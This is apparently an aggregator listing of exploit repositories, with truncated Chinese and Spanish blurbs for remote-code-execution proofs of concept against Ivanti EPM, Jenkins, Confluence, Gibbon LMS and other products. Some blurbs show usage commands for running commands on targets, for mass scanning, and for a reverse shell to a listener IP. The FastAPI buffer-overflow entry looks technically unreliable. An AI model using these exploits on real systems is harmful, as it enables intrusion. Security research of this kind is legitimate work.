CVE-2024-29824

CVE-2024-29824：Ivanti EPM SQL 注入远程代码执行漏洞 概念验证漏洞利用脚本，可在存在漏洞的 Ivanti EPM 设备上以盲注方式执行命令。 博客文章 深度分析与失陷指标（IOC）详见： https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability 用法 root@kitploit: % python CVE-2024-29824.py -h...

drupal-cve-2019-6339

drupal-cve-2019-6339 Drupal 远程代码执行漏洞...

cve-2019-1003000-jenkins-rce-poc

PoC：Jenkins RCE SECURITY-1266 / CVE-2019-1003000 Script Security，CVE-2019-1003001 Pipeline: Groovy，CVE-2019-1003002 Pipeline: Declarative 一个概念验证，允许具有 Overall/Read 权限和 Job/Configure（以及可选的 Job/Build）权限的用户绕过沙箱保护，在 Jenkins 主节点或代理节点上执行任意代码。 更新 : 一篇由 Orange Tsai 撰写的文章，解释了利用 CVE-2018-1000861 和...

vulnerability_struts-2.3.31

vulnerabilitystruts-2.3.31 构建 struts-2.3.31 CVE-2017-5638 环境。 支持 HTTPS 请求。 环境 Ubuntu 20.04 Docker 20.10.12 curl 7.68.0 服务器启动 我们将使用 tomcat:7.0-jre8 docker 镜像。 在您选择的目录中解压 struts-2.3.31.zip。 cd struts-2.3.31 sudo docker build -t struts/2331 . sudo docker run -it --rm -p 8443:8443 struts/2331 测试请求 一（...

CVE-2019-16278

CVE-2019-16278 和 CVE-2019-16279 的漏洞利用 Nostromo httpd 在版本 &1 该漏洞是由于对 CVE-2011-0751 的修复不完整导致的。我们可以绕过对 /../ 的检查，从而使用任意参数执行 /bin/sh。 示例 root@kitploit: $ ./CVE-2019-16278.sh 127.0.0.1 8080 id uid=1001sp0re gid=1001sp0re groups=1001sp0re CVE-2019-16279 - 拒绝服务 该漏洞利用了在单个连接中发送过多 \r\n 时触发的内存错误。 示例...

windows-kernel-exploits

windows-kernel-exploits Introducción windows-kernel-exploits Lista de vulnerabilidades Security Bulletin KB Description Operating System CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege Vulnerability...

CVE-2022-1388

CVE-2022-1388-Exploit CVE-2022-1388 的漏洞利用与检测脚本 使用方法 针对单个目标 URL 进行检测 root@kitploit: python3 exploit.py -v true -u targeturl 攻击主机并在该主机上执行命令 root@kitploit: python3 exploit.py -a true -u targeturl -c command 攻击主机列表或导入包含主机 IP 的文件 root@kitploit: python3 exploit.py -s true -f file 借助输入文件，masscheck.py...

cve-2019-9978

cve-2019-9978 本脚本能够以简单直接的方式利用 CVE-2019-9978 漏洞，适用于 Capture The Flag CTF 挑战或作为渗透测试的概念验证。 前置条件 Python 3 Requests 库（使用 pip install requests 安装） 使用方法 1. 克隆或下载本仓库。 2. 打开终端并进入脚本所在目录。 3. 使用以下选项运行脚本： root@kitploit: ./cve-2019-9978.py -u http://target.com:9999 -c "yoursystemcommand" -l yourip:yourport - -...

CVE-2019-19609-EXPLOIT

CVE-2019-19609 漏洞利用 针对 Strapi 中 CVE-2019-19609 的漏洞利用（strapi-3.0.0-beta.17.7 及更早版本的远程代码执行）。 我曾面对此漏洞的场景，但没有公开的漏洞利用代码。我决定自己编写并在此分享。 安装 root@kitploit: git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT 使用方法 root@kitploit: cd CVE-2019-19609-EXPLOIT python exploit.py -d DOMAINORIP -jwt...

CVE-2025-49844

CVE-2025-49844 - RediShell Redis Lua 脚本中的释放后使用漏洞导致远程代码执行。 CVE 摘要 Redis 是一个开源的内存数据库。CVE-2025-49844 是 Redis 嵌入式 Lua 脚本引擎中的一个释放后使用漏洞。拥有 Lua 脚本访问权限的已认证用户可以发送精心构造的脚本，该脚本操纵垃圾回收、触发内存损坏，并可能导致 Lua 沙箱之外的远程代码执行。 该问题影响在修复版本之前包含 Lua 脚本功能的 Redis 版本。推荐的修复方法是修补 Redis 服务器。如果无法立即修补，应通过 ACL 限制 Redis Lua 脚本，即拒绝 EVAL...

CVE-2022-24355

CVE-2022-24355 Tplink wr841 v10 无需授权的远程代码执行漏洞利用程序 ⚠️ 免责声明 本仓库中的代码按原样 提供，仅用于教育和防御性安全研究目的。 仅可在您拥有或已获得明确测试许可的系统上使用。 作者不对因使用本软件而造成的任何滥用、损害或违法行为负责。 这是一个概念验证（PoC） ，并非生产工具。...

file-away-exploit

File-Away 漏洞利用（CVE-2025-2539 和 CVE-2025-2512） 📌 目的 本仓库包含 File-Away（一个用于文件管理的 WordPress 插件）的漏洞详情和利用脚本。 该插件存在两个可导致远程代码执行的漏洞（ 已在 File-Away 3.9.9.0.1 上测试 ）： CVE-2025-2539：未认证的任意文件读取 CVE-2025-2512：未认证的任意文件上传 📖 未认证的任意文件读取 File-Away WordPress 插件在 3.9.9.0.1 及之前的所有版本中存在未认证的任意文件读取漏洞。...

Project-Exploiting-CVE-2024-27198-RCE-Vulnerability

Explotando la vulnerabilidad CVE-2024-27198-RCE En este proyecto, exploté la vulnerabilidad CVE-2024-27198-RCE para realizar un ataque de ejecución remota de código RCE en un servidor TeamCity vulnerable. La vulnerabilidad permite cargar y activar un plugin malicioso que proporciona acceso al...

CVE-2025-23266

CVE-2025-23266 作者： Mark Mallia 目标平台： Ubuntu 22.04，FastAPI v2.4.3 → 于2025‑10‑02修补至v2.5.1 1 – 简介：此攻击涉及什么 FastAPI 的 parserequest 例程会将 HTTP 请求头部复制到一个位于调用者堆栈上的小型缓冲区中。 如果攻击者发送了过长的头部，该缓冲区会发生溢出，并重写紧随其后的 返回地址 。随后攻击者跳回同一次请求，执行任意代码，从而完全控制宿主机。 其效果类似于为 Triton Inference Server 发现的 RCE 链——唯一的区别在于缓冲区的确切长度（528...

CVE-2024-30973

CVE-2024-30973 - V-SOL G/EPON ONU - HG323AC-B 描述项目： root@kitploit: Item: G/EPON ONU Specification: HG323AC-B Device model XPON+2GE+1POTS+2WIFI+USB Device SN 70B64F-1234570B64F0C2C0C Hardware Version V1.0 Firmware Version V2.0.08-210715 PON S/N GPON000C2C0C 漏洞类型： 不正确的访问控制 漏洞描述：...

CVE-2022-24715

CVE-2022-24715 Icinga Web 2 - 经过身份验证的远程代码执行 2.8.6, 2.9.6, 2.10 免责声明：此脚本用于审核系统安全性。仅在你自己的系统或获得明确授权的系统上使用此脚本。...

PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

markdown CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHP Object Injection → RCE -red 📋 Descripción CVE-2026-45247 es una vulnerabilidad crítica de Inyección de Objetos PHP PHP Object Injection en la extensión Mirasvit Full Page Cache Warmer para Magento 2 y Adobe Commerce. Un...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 远程命令执行脚本 更多脚本文件另参：https://github.com/zhzyker/exphub Readme root@kitploit: +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-10204 Nexus...

CVE-2023-45878

CVE-2023-45878 本脚本基于 https://herolab.usd.de/security-advisories/usd-2023-0025/ 的研究编写。该漏洞利用原理是通过 Gibbon LMS 25.0.1 中的任意文件写入漏洞。此PoC将上传一个简单的php命令执行脚本，然后使用该脚本加载一个powershell反向shell。 root@kitploit: python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf 参数说明：...

CVE-2022-26134

CVE-2022-26134 - Confluence OGNL injection vulnerability 脚本使用 安装python库 pip install -r requirements.txt 漏洞验证 python3 CVE-2022-26134check.py -u url -c whoami 批量扫描 python3 CVE-2022-26134check.py -f url.txt -c whoami 影响版本 Confluence Server and Data Center = 1.3.0 Confluence Server and Data Center...